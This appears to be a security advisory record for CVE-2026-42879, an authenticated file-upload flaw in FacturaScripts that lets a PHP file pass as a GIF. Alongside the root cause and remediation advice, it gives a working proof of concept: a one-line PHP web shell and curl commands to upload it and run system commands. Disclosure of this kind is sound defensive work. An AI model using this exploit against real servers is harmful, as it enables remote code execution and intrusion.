CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2025.81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T19:49:05Z",
    "nvd_published_at": "2026-05-27T19:16:18Z",
    "severity": "MODERATE"
  },
  "details": "# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass\n \n## Summary\n \nAn authenticated unrestricted file upload vulnerability exists in FacturaScripts\u0027 product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.\n \n---\n \n## Details\n \nThe vulnerability exists in:\n \n`Core/Lib/ExtendedController/ProductImagesTrait.php`\n \nSpecifically in the `addImageAction()` method.\n \n### Vulnerable Code\n \n```php\nif (false === strpos($uploadFile-\u003egetMimeType(), \u0027image/\u0027)) {\n    Tools::log()-\u003eerror(\u0027file-not-supported\u0027);\n    continue;\n}\n \n$folder = Tools::folder(\u0027MyFiles\u0027);\nTools::folderCheckOrCreate($folder);\n$uploadFile-\u003emove($folder, $uploadFile-\u003egetClientOriginalName());\n```\n \n### Root Cause\n \n- The validation only checks if MIME type contains `\"image/\"`\n- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file\n- The system incorrectly identifies the file as `image/gif`\n- The file is saved with a `.php` extension in a web-accessible directory\n \n### File Storage Behavior\n \nUploaded files are stored in:\n \n```\n/MyFiles/YYYY/MM/X.php\n```\n \nWhere `X` is an auto-incrementing ID. This allows direct remote execution:\n \n```\nhttp://target/MyFiles/2026/03/2.php?cmd=id\n```\n \n---\n \n## Impact\n \nSuccessful exploitation:\n\nAn attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.\n---\n \n## Proof of Concept (Manual)\n \n### Step 1: Create malicious file\n \n```bash\ncat \u003e shell.jpg.php \u003c\u003c \u0027EOF\u0027\nGIF89a\n\u003c?php\nsystem($_GET[\u0027cmd\u0027]);\n?\u003e\nEOF\n```\n \n### Step 2: Authenticate\n \n- Login to the application\n- Extract `PHPSESSID` from browser cookies\n \n### Step 3: Get CSRF token\n \n```bash\ncurl -s \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  | grep -o \u0027multireqtoken\\\" value=\\\"[^\\\"]*\\\"\u0027 | cut -d\u0027\"\u0027 -f4\n```\n \n### Step 4: Upload shell\n \n```bash\ncurl -X POST \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  -F \"multireqtoken=YOUR_CSRF_TOKEN\" \\\n  -F \"action=add-image\" \\\n  -F \"activetab=EditProductoImagen\" \\\n  -F \"idproducto=3\" \\\n  -F \"newfiles[]=@shell.jpg.php\"\n```\n \n### Step 5: Execute command\n \n```bash\ncurl \"http://target/MyFiles/2026/03/2.php?cmd=id\"\n```\n \n---\n\n \n## Affected Products\n \n| Field | Value |\n|---|---|\n| Ecosystem | Packagist |\n| CVE ID | CVE-2026-42879 |\n| Package Name | `facturascripts/facturascripts` |\n| Affected Versions | \u003c= 2025.81 |\n| Patched Versions | Not yet patched |\n| Fixed in | Pending |\n \n---\n \n## Remediation Recommendations\n \n1. **Validate file extension** \u2014 reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type\n2. **Re-generate filenames on the server** \u2014 never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension\n3. **Store uploads outside the webroot** \u2014 serve files through a controller that streams content, preventing direct URL execution\n4. **Use a file type library** \u2014 validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME\n## Credits\n\n- **Discoverer**: Abdullah Alwasabei / Guzrex",
  "id": "GHSA-vf3q-frmr-vrr9",
  "modified": "2026-06-08T23:53:25Z",
  "published": "2026-05-07T19:49:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42879"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images"
}